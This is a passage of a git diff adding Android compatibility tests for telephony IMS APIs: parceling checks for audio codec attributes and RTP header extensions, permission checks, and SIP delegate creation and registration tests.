         assertEquals(data.getVideoDirection(), unparceledData.getVideoDirection());
         assertEquals(data.getVideoQuality(), unparceledData.getVideoQuality());
+
+        assertNull(unparceledData.getAudioCodecAttributes());
+    }
+
+    @Test
+    public void testParcelUnparcelForAudioCodecAttributes() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+                ImsStreamMediaProfile.DIRECTION_RECEIVE,
+                ImsStreamMediaProfile.RTT_MODE_FULL);
+        data.setAudioCodecAttributes(
+                new AudioCodecAttributes(5.0f, new Range<Float>(1.0f, 10.0f), 15.0f,
+                        new Range<Float>(10.0f, 20.0f)));
+
+        ImsStreamMediaProfile unparceledData = (ImsStreamMediaProfile) parcelUnparcel(data);
+
+        assertEquals(data.getAudioDirection(), unparceledData.getAudioDirection());
+        assertEquals(data.getAudioQuality(), unparceledData.getAudioQuality());
+        assertEquals(data.getRttMode(), unparceledData.getRttMode());
+        assertEquals(data.getVideoDirection(), unparceledData.getVideoDirection());
+        assertEquals(data.getVideoQuality(), unparceledData.getVideoQuality());
+
+        assertEquals(data.getAudioCodecAttributes().getBitrateKbps(),
+                unparceledData.getAudioCodecAttributes().getBitrateKbps(), 0.1);
+        assertEquals(data.getAudioCodecAttributes().getBitrateRangeKbps().getLower(),
+                unparceledData.getAudioCodecAttributes().getBitrateRangeKbps().getLower(), 0.1);
+        assertEquals(data.getAudioCodecAttributes().getBitrateRangeKbps().getUpper(),
+                unparceledData.getAudioCodecAttributes().getBitrateRangeKbps().getUpper(), 0.1);
+        assertEquals(data.getAudioCodecAttributes().getBandwidthKhz(),
+                unparceledData.getAudioCodecAttributes().getBandwidthKhz(), 0.1);
+        assertEquals(data.getAudioCodecAttributes().getBandwidthRangeKhz().getLower(),
+                unparceledData.getAudioCodecAttributes().getBandwidthRangeKhz().getLower(), 0.1);
+        assertEquals(data.getAudioCodecAttributes().getBandwidthRangeKhz().getUpper(),
+                unparceledData.getAudioCodecAttributes().getBandwidthRangeKhz().getUpper(), 0.1);
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index 52f9b75..e691e51 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -24,6 +24,7 @@
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.ims.SipMessage;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
@@ -43,6 +44,15 @@
     public static final int ITEM_NON_COMPRESSED = 2000;
     // Id for compressed auto configuration xml.
     public static final int ITEM_COMPRESSED = 2001;
+    // TODO Replace with a real sip message once that logic is in.
+    public static final String TEST_TRANSACTION_ID = "z9hG4bK.TeSt";
+    public static final SipMessage TEST_SIP_MESSAGE = new SipMessage("A", "B", new byte[0]);
+
+    public static boolean shouldTestTelephony() {
+        final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
 
     public static boolean shouldTestImsService() {
         final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index a1816d8..dda4f82 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -38,6 +38,7 @@
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
 import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.RcsContactUceCapability;
 import android.telephony.ims.RcsUceAdapter;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -250,7 +251,15 @@
         // requestCapabilities
         try {
             uceAdapter.requestCapabilities(Runnable::run, numbers,
-                    new RcsUceAdapter.CapabilitiesCallback() {});
+                    new RcsUceAdapter.CapabilitiesCallback() {
+                        @Override
+                        public void onCapabilitiesReceived(
+                                List<RcsContactUceCapability> capabilities) {}
+                        @Override
+                        public void onComplete() {}
+                        @Override
+                        public void onError(int errorCode, long retryAfterMilliseconds) {}
+                    });
             fail("requestCapabilities should require READ_PRIVILEGED_PHONE_STATE.");
         } catch (SecurityException e) {
             //expected
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTest.java
new file mode 100644
index 0000000..01ce64e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.RtpHeaderExtension;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RtpHeaderExtensionTest {
+    @Test
+    public void testParceling() {
+        byte[] testBytes = new byte[1];
+        testBytes[0] = 5;
+        RtpHeaderExtension extension = new RtpHeaderExtension(1, testBytes);
+        assertEquals(1, extension.getLocalIdentifier());
+        assertEquals(5, extension.getExtensionData()[0]);
+
+        Parcel dataParceled = Parcel.obtain();
+        extension.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        RtpHeaderExtension unparceledData =
+                RtpHeaderExtension.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(extension.getLocalIdentifier(), unparceledData.getLocalIdentifier());
+        assertEquals(extension.getExtensionData()[0], unparceledData.getExtensionData()[0]);
+        assertEquals(extension, unparceledData);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTypeTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTypeTest.java
new file mode 100644
index 0000000..e34e9ab
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RtpHeaderExtensionTypeTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.telephony.ims.RtpHeaderExtensionType;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RtpHeaderExtensionTypeTest {
+    private static final int TEST_ID = 1;
+    private static final Uri TEST_URI = Uri.parse("http://developer.android.com/092020/test1");
+
+    @Test
+    public void testParceling() {
+        RtpHeaderExtensionType test = new RtpHeaderExtensionType(TEST_ID, TEST_URI);
+        assertEquals(TEST_ID,  test.getLocalIdentifier());
+        assertEquals(TEST_URI, test.getUri());
+
+        Parcel dataParceled = Parcel.obtain();
+        test.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        RtpHeaderExtensionType unparceledData =
+                RtpHeaderExtensionType.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(test, unparceledData);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
new file mode 100644
index 0000000..3f786fa
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -0,0 +1,1000 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Parcel;
+import android.os.PersistableBundle;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.ims.DelegateRegistrationState;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.FeatureTagState;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsService;
+import android.telephony.ims.SipDelegateImsConfiguration;
+import android.telephony.ims.SipDelegateManager;
+import android.telephony.ims.SipMessage;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.util.ArraySet;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+/**
+ * CTS tests for {@link SipDelegateManager} API.
+ */
+@RunWith(AndroidJUnit4.class)
+public class SipDelegateManagerTest {
+    private static final String MMTEL_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel\"";
+    private static final String ONE_TO_ONE_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.msg\"";
+    private static final String GROUP_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.session\"";
+    private static final String FILE_TRANSFER_HTTP_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gppapplication.ims.iari.rcs.fthttp\"";
+
+    private static class CarrierConfigReceiver extends BroadcastReceiver {
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForCarrierConfigChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    private static int sTestSlot = 0;
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static ImsServiceConnector sServiceConnector;
+    private static CarrierConfigReceiver sReceiver;
+
+    @BeforeClass
+    public static void beforeAllTests() throws Exception {
+        // First, only populate test slot/sub
+        if (!ImsUtils.shouldTestTelephony()) {
+            return;
+        }
+
+        TelephonyManager tm = (TelephonyManager) getContext()
+                .getSystemService(Context.TELEPHONY_SERVICE);
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+        sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
+        if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+            return;
+        }
+        // Next, only start tests that require ImsResolver to bind to test ImsService if
+        // feature FEATURE_TELEPHONY_IMS is supported on this device.
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+        // Remove all live ImsServices until after these tests are done
+        sServiceConnector.clearAllActiveImsServices(sTestSlot);
+
+        sReceiver = new CarrierConfigReceiver(sTestSub);
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sReceiver, filter);
+    }
+
+    @AfterClass
+    public static void afterAllTests() throws Exception {
+        // Only clean up ImsResolver overrides if feature FEATURE_TELEPHONY_IMS is supported.
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Restore all ImsService configurations that existed before the test.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectServices();
+        }
+        sServiceConnector = null;
+
+        // Ensure there are no CarrierConfig overrides as well as reset the ImsResolver in case the
+        // ImsService override changed in CarrierConfig while we were overriding it.
+        overrideCarrierConfig(null);
+
+        if (sReceiver != null) {
+            InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
+            sReceiver = null;
+        }
+    }
+
+    @Before
+    public void beforeTest() {
+        if (!ImsUtils.shouldTestTelephony()) {
+            return;
+        }
+        TelephonyManager tm = (TelephonyManager) InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+        // Correctness check: ensure that the subscription hasn't changed between tests.
+        int[] subs = SubscriptionManager.getSubId(sTestSlot);
+
+        if (subs == null) {
+            fail("This test requires there is an active subscription in slot " + sTestSlot);
+        }
+        boolean isFound = false;
+        for (int sub : subs) {
+            isFound |= (sTestSub == sub);
+        }
+        if (!isFound) {
+            fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
+                    + "during this test.");
+        }
+    }
+
+    @After
+    public void afterTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Unbind the ImsService after the test completes only if feature FEATURE_TELEPHONY_IMS
+        // is enabled.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+            sServiceConnector.restoreDefaultSmsApp();
+        }
+    }
+
+    @Test
+    // Note this test can run on devices with only feature FEATURE_TELEPHONY, so ImsResolver may not
+    // be running.
+    public void testIncorrectPermissions() throws Exception {
+        if (!ImsUtils.shouldTestTelephony()) {
+            return;
+        }
+        SipDelegateManager manager = getSipDelegateManager();
+        try {
+            manager.isSupported();
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            //expected
+        }
+        DelegateRequest d = new DelegateRequest(Collections.emptySet());
+        TestSipDelegateConnection c = new TestSipDelegateConnection(d);
+        try {
+            manager.createSipDelegate(d, Runnable::run, c, c);
+            fail("createSipDelegate requires MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            //expected
+        }
+    }
+
+    @Test
+    // Note this test can run on devices with only feature FEATURE_TELEPHONY, so ImsResolver may not
+    // be running.
+    public void testFeatureImsNotSupported() throws Exception {
+        if (!ImsUtils.shouldTestTelephony()) {
+            return;
+        }
+        if (ImsUtils.shouldTestImsService()) {
+            // Return if FEATURE_TELEPHONY_IMS is supported, we only want to test devices where
+            // telephony is supported, but IMS isn't.
+            return;
+        }
+        SipDelegateManager manager = getSipDelegateManager();
+        try {
+            // If FEATURE_TELEPHONY_IMS is not supported this should already return false.
+            Boolean result = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+            assertNotNull(result);
+            assertFalse("isSupported should return false on devices that do not support "
+                    + "feature FEATURE_TELEPHONY_IMS", result);
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+        }
+    }
+
+    @Test
+    public void testIsSupportedWithSipTransportCapable() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+        connectTestImsServiceWithSipTransport();
+
+        SipDelegateManager manager = getSipDelegateManager();
+        Boolean result = null;
+        try {
+            result = callUntilImsServiceIsAvailable(() ->
+                    ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(manager,
+                            SipDelegateManager::isSupported, ImsException.class,
+                            "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+        }
+        assertNotNull(result);
+        assertTrue("isSupported should return true", result);
+    }
+
+    @Test
+    public void testIsSupportedWithSipTransportCapableCarrierConfigNotSet() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        PersistableBundle b = new PersistableBundle();
+        // Carrier Config is explicitly set to not support single registration.
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        overrideCarrierConfig(b);
+        connectTestImsServiceWithSipTransport();
+
+        Boolean result = callUntilImsServiceIsAvailable(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        getSipDelegateManager(), SipDelegateManager::isSupported,
+                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+        assertNotNull(result);
+        assertFalse("isSupported should return false if"
+                + "CarrierConfigManager.Ims.KEY_RCS_SINGLE_REGISTRATION_REQUIRED_BOOL is set to "
+                + "false", result);
+    }
+
+    @Test
+    public void testIsSupportedWithSipTransportCapableOnlyRcs() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+
+        ImsFeatureConfiguration c = getConfigForRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+
+        Boolean result = callUntilImsServiceIsAvailable(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        getSipDelegateManager(), SipDelegateManager::isSupported,
+                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+        assertNotNull(result);
+        assertFalse("isSupported should return false in the case that the ImsService is only "
+                + "attached for MMTEL and not MMTEL and RCS", result);
+    }
+
+
+    @Test
+    public void testIsSupportedWithSipTransportCapableButNotImplemented() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        // SipTransport set as capable, but no SipTransport implementation is returned.
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+
+        Boolean result = callUntilImsServiceIsAvailable(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        getSipDelegateManager(), SipDelegateManager::isSupported,
+                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+        assertNotNull(result);
+        assertFalse("isSupported should return false in the case that SipTransport is not "
+                + "implemented", result);
+    }
+
+    @Test
+    public void testIsSupportedWithSipTransportImplementedButNotCapable() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        // SipTransport is set as Implemented, but not Capable
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
+        ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+
+        Boolean result = callUntilImsServiceIsAvailable(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        getSipDelegateManager(), SipDelegateManager::isSupported,
+                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+        assertNotNull(result);
+        assertFalse("isSupported should return false in the case that SipTransport is not "
+                + "set as capable in ImsService#getImsServiceCapabilities", result);
+    }
+
+    @Test
+    public void testIsSupportedWithSipTransportNotImplementedNotCapable() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        // Not Implemented/capable
+        ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+
+        Boolean result = callUntilImsServiceIsAvailable(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                        getSipDelegateManager(), SipDelegateManager::isSupported,
+                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+        assertNotNull(result);
+        assertFalse("isSupported should return false in the case that SipTransport is not "
+                + "set as capable in ImsService#getImsServiceCapabilities", result);
+    }
+
+    @Test
+    public void testCreateDestroyDelegateNotDefaultMessagingApp() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        // wait for onCreated and registration state change to be called.
+        createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
+
+        // TODO deal with this case better when we can filter messages.
+        delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
+                SipDelegateManager.MESSAGE_FAILURE_REASON_DELEGATE_DEAD);
+
+        destroySipDelegateConnectionNoDelegate(manager, delegateConn);
+    }
+
+    @Test
+    public void testCreateDelegateBasicUseCases() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
+                transportImpl, Collections.emptySet(), 0);
+        assertNotNull(delegate);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, request.getFeatureTags(),
+                Collections.emptySet(), c);
+
+        sendMessageAndVerifyAck(delegateConn, delegate);
+        receiveMessageAndVerifyAck(delegateConn, delegate);
+
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
+                request.getFeatureTags());
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testDelegateRegistrationChanges() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+        DelegateRequest request = getDefaultRequest();
+        TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
+
+        // Construct registered tags and denied tags, vendor denied FT tag.
+        Set<String> registeredTags = new ArraySet<>(request.getFeatureTags());
+        registeredTags.remove(FILE_TRANSFER_HTTP_TAG);
+        Set<FeatureTagState> deniedTags = new ArraySet<>(1);
+        deniedTags.add(new FeatureTagState(FILE_TRANSFER_HTTP_TAG,
+                SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE));
+        TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
+                transportImpl, deniedTags, 0);
+        assertNotNull(delegate);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn, delegate, registeredTags, deniedTags, c);
+
+        // TODO verify messages can be sent on registered tags, but generate error for denied tags.
+
+        // move reg state to deregistering and then deregistered
+        delegateConn.setOperationCountDownLatch(1);
+        DelegateRegistrationState s = getDeregisteringState(registeredTags,
+                DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE);
+        delegate.notifyImsRegistrationUpdate(s);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateEquals(s);
+
+        delegateConn.setOperationCountDownLatch(1);
+        s = getRegisteredRegistrationState(registeredTags);
+        delegate.notifyImsRegistrationUpdate(s);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateEquals(s);
+
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
+                registeredTags);
+        assertEquals("There should be no more delegates", 0,
+                transportImpl.getDelegates().size());
+    }
+
+    @Test
+    public void testCreateMultipleDelegates() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        assertTrue(sServiceConnector.setDefaultSmsApp());
+        connectTestImsServiceWithSipTransportAndConfig();
+        TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        SipDelegateManager manager = getSipDelegateManager();
+
+        DelegateRequest request1 = getChatOnlyRequest();
+        TestSipDelegateConnection delegateConn1 = new TestSipDelegateConnection(request1);
+        Set<String> registeredTags1 = new ArraySet<>(request1.getFeatureTags());
+        TestSipDelegate delegate1 = createSipDelegateConnectionAndVerify(manager, delegateConn1,
+                transportImpl, Collections.emptySet(), 0);
+        assertNotNull(delegate1);
+
+        SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
+                .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
+                .build();
+        verifyRegisteredAndSendSipConfig(delegateConn1, delegate1, registeredTags1,
+                Collections.emptySet(), c);
+
+        // This will only be granted File transfer FT
+        DelegateRequest request2 = getDefaultRequest();
+        TestSipDelegateConnection delegateConn2 = new TestSipDelegateConnection(request2);
+        Set<String> registeredTags2 = new ArraySet<>();
+        registeredTags2.add(FILE_TRANSFER_HTTP_TAG);
+        TestSipDelegate delegate2 = createSipDelegateConnectionAndVerify(manager, delegateConn2,
+                transportImpl, Collections.emptySet(), 1);
+        assertNotNull(delegate2);
+        Set<FeatureTagState> deniedSet = generateDeniedSetFromRequest(request1.getFeatureTags(),
+                request2.getFeatureTags(),
+                SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE);
+        verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, registeredTags2,
+                deniedSet, c);
+
+        // Destroying delegate 1 will transfer all feature tags over to delegate 2
+        delegateConn2.setOperationCountDownLatch(1);
+        destroySipDelegateAndVerify(manager, transportImpl, delegateConn1, delegate1,
+                registeredTags1);
+        delegateConn2.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
